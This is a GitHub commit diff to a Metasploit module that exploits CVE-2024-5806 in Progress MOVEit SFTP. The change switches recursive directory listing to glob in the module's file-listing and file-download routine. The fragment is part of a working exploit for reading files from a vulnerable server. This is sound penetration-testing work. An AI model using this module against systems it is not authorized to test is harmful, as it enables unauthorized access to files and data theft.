Skip to content

Commit e191697

Browse files
committed
we can use glob rather than foreach to recursivly list the contents of a folder
1 parent a55ee56 commit e191697

File tree

1 file changed

+10
-14
lines changed

1 file changed

+10
-14
lines changed

modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb

Lines changed: 10 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,16 @@ def run
129129
if File.directory? datastore['TARGETFILE']
130130
print_status("Listing directory: #{datastore['TARGETFILE']}")
131131

132-
recurse_dir(sftp, datastore['TARGETFILE'])
132+
sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry|
133+
# When we print the entry, we want to print the full path for each entry, so that further use of this module
134+
# can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with
135+
# permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to
136+
# recursively list the contents of all sub folders, we reconstitute the full path for every entry before
137+
# printing it.
138+
entry_full_path = File.join(datastore['TARGETFILE'], entry.name)
139+
140+
print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))
141+
end
133142
else
134143
print_status("Downloading file: #{datastore['TARGETFILE']}")
135144

@@ -150,19 +159,6 @@ def run
150159
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)
151160
end
152161

153-
def recurse_dir(sftp, base_path)
154-
sftp.dir.foreach(base_path) do |entry|
155-
entry_full_path = base_path.dup
156-
entry_full_path << '/' unless base_path.end_with? '/'
157-
entry_full_path << entry.name
158-
entry_full_path << '/' if entry.directory?
159-
160-
print_line(entry.longname.gsub(entry.name, entry_full_path))
161-
162-
recurse_dir(sftp, entry_full_path) if entry.directory?
163-
end
164-
end
165-
166162
def read_file(sftp, file_path)
167163
sftp.open(file_path) do |open_response|
168164
if open_response.ok?

0 commit comments

Comments
 (0)